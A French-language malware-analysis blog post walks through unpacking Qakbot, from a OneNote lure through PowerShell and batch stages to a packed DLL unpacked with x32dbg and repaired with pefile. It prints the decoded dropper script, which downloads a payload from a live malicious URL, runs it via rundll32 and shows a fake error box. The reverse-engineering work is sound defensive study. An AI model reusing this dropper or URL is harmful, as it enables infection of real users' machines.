Dans ce billet de blog on parle de Qakbot et comment extraire les différents stages du malware. Ce post se base sur mes propres notes que j’ai décidé de transformer en article de blog.
Quakbot
QakBot ou Qbot, est un cheval de Troie qui est actif depuis 2007. Il a été initialement développé pour voler des informations sensibles telles que les identifiants de connexion, les informations financières et les informations d’identification personnelle.
QakBot peut également être utilisé pour télécharger et installer d’autres types de logiciels malveillants sur les machines infectées, comme des ransomwares par exemple.
Il se propage principalement via des pièces jointes malveillantes dans des e-mails de phishing. En plus de ça le malware est distribué via différents types de pièces jointes, que ça soit des fichiers ISO, JS ou HTA via One Note. Toutes ces pièces jointes ont pour but d’exécuter une même DLL.
Image issue d’un Tweet que j’ai trouvé marrant.
QakBot est considéré comme particulièrement dangereux en raison de sa capacité à se propager rapidement et de sa capacité à se cacher sur un système infecté.
One Note (stage 0)
Pour cette analyse j’ai récupéré le premier fichier One Note lié à Qakbot que j’ai trouvé sur Malware Bazaar, dont le SHA256 est : 02ab9be529e1ba28087cc2a3f2f1af3d1ea50e3c05cbf26b9c36eb1d942cf953
.
Mon premier reflex est d’ouvrir le fichier dans ImHex et de parcourir les chaînes de caractères.
ImHex: OneNote On tombe rapidement sur une commande PowerShell embarquée dans le fichier.
Avec ImHex il est possible d’extraire la chaîne de caractères : Clic droit -> Copy as… -> Hex String.
Stage 1
Le premier stage affiché ci-dessous, est une suite de commandes Powershell.
Commande Powershell obfusquée
La première commande initialise une variable $aoZBaT
qui n’est pas utilisée, puis une seconde variable $asOyf
qui correspond à un bloc de données hexadécimales.
Ensuite, chaque valeur hexadécimale est convertie dans son équivalent ASCII et est envoyé dans le fichier C:\Users\Public\aqjPLg.cmd
. Son contenu est ensuite exécuté avec les paramètres und
et https://ozcontests.com/tE3xt/01.png
.
Il y a plusieurs méthodes pour décoder soit même le contenu et le visualiser. Le plus simple c’est d’exécuter la première commande Powershell sans la redirection le resultat s’affiche dans le terminal :
1
2
3
4
5
6
@echo off
set avnLNf=%2
powershell invoke-webrequest -uri %avnLNf% -outfile C:\programdata\aA9Qq1dIT.jpg
r%1ll32 C:\programdata\aA9Qq1dIT.jpg,Wind
powershell Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('The current selection is not supported.', 'Data Read Error', 'OK', 'Error');
exit
Le script ci-dessus place le second paramètre (htps://ozcontests.com/tE3xt/01.png
) de la commande dans une variable avnLNf
qui effectue une requête HTTP vers cette URL et sauvegarde le contenu téléchargé dans C:\programdata\aA9Qq1dIT.jpg
.
Puis la commande r%1ll32 C:\programdata\aA9Qq1dIT.jpg,Wind
(dont %1
correspond à und
soit rundll32
) permet d’exécuter du code présent dans une DLL en spécifiant Wind
comme fonction à appeler.
Donc la première étape consiste à télécharger un fichier avec une extension PNG, puis exécuter rundll32.exe
pour appeler une fonction présente dans ce fichier.
Vous vous en doutez, même s’il y a une extension PNG, ce fichier n’est pas une image.
Stage 2
SHA256(01.png)= 05607693613f928a3937a391a1aa88f0dc1ada77e1738e576e5fd2a8f3bb2a0f
Sans surprise, le fichier 01.png
est en fait… un fichier PE. En inspectant la structure de l’en-tête du fichier via ImHex vous remarquerez que c’est une DLL.
ImHex pattern PE.
C’est cette même DLL qui est executée avec rundll32
.
Ouvrons le fichier, que j’ai renommé stage2.bin
, dans Binary Ninja. A première vue, c’est assez chaotique.
La plupart des fonctions on un nom avec le même préfixe RZN
et Binary Ninja n’arrive pas à suivre correctement le flow de contrôle de la fonction Wind
qui, je le rappelle, est celle exécutée par la commande rundll32
.
Binary Ninja : vue du PE dans le désassembleur.
Dans ImHex on remarque que l’entropie est assez élevée vers la fin du fichier. Ce qui signale qu’une partie du fichier est sûrement empaquetée et que le vrai stage est déchiffré ou décompressé, puis exécuté au runtime.
ImHex: Entropie du PE.
C’est à ce moment la qu’on peut se dire que le binaire est packed.
Deux choix s’offrent à nous, l’analyse statique du binaire ou l’analyse dynamique. Pour pas perdre trop de temps sur cette étape j’ai choisi la seconde option.
Unpacking
Pour unpack le prochain stage, on utilise x64dbg.
Notre binaire étant une DLL, il n’y a pas de point d’entrée explicite comme pour les executables PE. Une DLL est conçue pour être utilisée par d’autres programmes en tant que bibliothèque de fonctions.
Donc tout comme le stage 1, on va utiliser rundll32
avec le debugger ce qui permet d’éxecuter une DLL en spécifiant une fonction présente dans le fichier.
Ce fichier étant un PE 32 bits, c’est la version 32 bits de x64dbg qui est necessaire : x32dbg. Avec ça il faudra aussi utiliser la version 32 bits de rundll32
présente dans C:\Windows\SysWOW64\rundll32.exe
.
Des que rundll32
est chargé dans le debugger, il reste a changer la command-line utilisée : File -> Change Command Line -> C:\Users\mathieu\Desktop\rundll32.exe C:\Users\mathieu\Documents\Qakbot\stage2.bin,Wind
.
Cliquez sur “Run” (F9) jusqu’à ce que x64dbg arrive dans le module stage1.bin
, il devrait initialement être dans ntdll.dll
puis passer par rundll32.exe
avant d’arriver à notre cible.
x32dbg.
Plaçons un breakpoint dans la fonction VirtualAlloc
, au niveau de l’instruction de retour. Avec le combo de touches CTRL+G
cherchez VirtualAlloc
, le debugger nous amène à un appel de la fonction.
En appuyant sur Entrée au niveau de l’instruction call
cela nous envoie dans la fonction. Il reste à placer un breakpoint au niveau de l’instruction de retour ret 10
, puis on RUN
(F9) jusqu’à ce que le registre EAX soit à 10000000
.
Dès que c’est le cas, clic droit sur le registre EAX
: follow in dump.
La visualisation hexadécimale du dump est remplie de zéros comme vu ci-dessous.
x32dbg: visualisation du premier dump de mémoire.
C’est à l’adresse 0x10000000
que le PE devrait être chargé en mémoire. Pour l’instant, c’est vide. A ce moment la on peut placer un hardware breakpoint à cette adresse et arrêter l’exécution s’il y a une écriture à l’adresse en question.
Clic droit sur le dump, Breakpoint -> Hardware, Write -> Byte. Puis on run à nouveau. Après avoir atteint une première fois ce breakpoint, le dump contient des données et on a un PE !
x32dbg: visualisation du dump avec de la donnée.
Si vous vérifiez un peu plus bas dans le dump vous devriez voir du texte comme .text
et .data
qui correspondent à des sections du fichier précédemment empaqueté.
Il ne reste plus qu’à extraire ce blob de la mémoire.
Pour ça : clic droit sur le premier octet: Follow in Memory Map
, qui nous ramène dans la Memory Map, faites à nouveau clic droit au niveau de l’adresse 0x10000000
: Dump Memory to File.
Sauvegardez le stage 3.
Stage 3
Maintenant qu’on a notre troisième stage, ouvrons-le dans un désassembleur. Dans Binary Ninja on peut avoir quelques informations sur le binaire grâce à la vue de triage.
Binary Ninja: Vue de triage
Vous remarquerez ci-dessus, qu’aucune bibliothèque n’a été détecté, et aucun import ni export de fonction n’est affiché.
De plus les instructions au niveau du point d’entrée n’ont pas vraiment de sens. Un nouvelle couche d’offuscation ? Non.
Comme on peut le voir sur ImHex ci-dessous dans la vue “Pattern Data” , le soucis c’est que le contenu de la section .text
pointe sur l’adresse 0x1000
qui correspond à l’adresse de base virtuelle relative, et non l’image de base du fichier sur disque qui devrait être 0x400
.
ImHex vue du PE non-alignée
Ce problème est dû au fait qu’il y a des protections anti-debug que je n’ai pas pris en compte lors de l’unpacking.
Avec le module pefile
on peut corriger ça :
1
2
3
4
5
import pefile
pe = pefile.PE("stage3.bin")
for section in pe.sections:
section.PointerToRawData = section.VirtualAddress
pe.write("stage3_unpacked_fixed.bin")
Si on l’ouvre à nouveau dans Binary Ninja les bibliothèques utilisées ainsi que les imports sont détéctés.
Binary Ninja: Vue de triage2
Et le malware est enfin prêt pour la suite du reverse engineering.
J’ai publié la version corrigée et unpack sur Malware Bazaar. SHA256 : 6e30dc6403253650fd131d9c60db92680d319624c16aeb9e7aea4bdfc3c47a77.
C’est la fin de cette article ou l’on se concentre uniquement sur la partie unpacking, permettant d’enlever les premières couches d’obfuscation du malware.
En plus d’unpack le malware, l’objectif est aussi de faire découvrir de nouveaux outils et leur usage, comme x64dbg et ImHex.
Si vous souhaitez avoir plus d’informations sur ces versions récentes de Qakbot je vous conseille de lire l’analyse de Trellix.
J’espère que ce post vous a plu, n’hésitez pas à me contacter sur Twitter, Mastodon ou même par mail si vous avez des questions.
Liens et sources :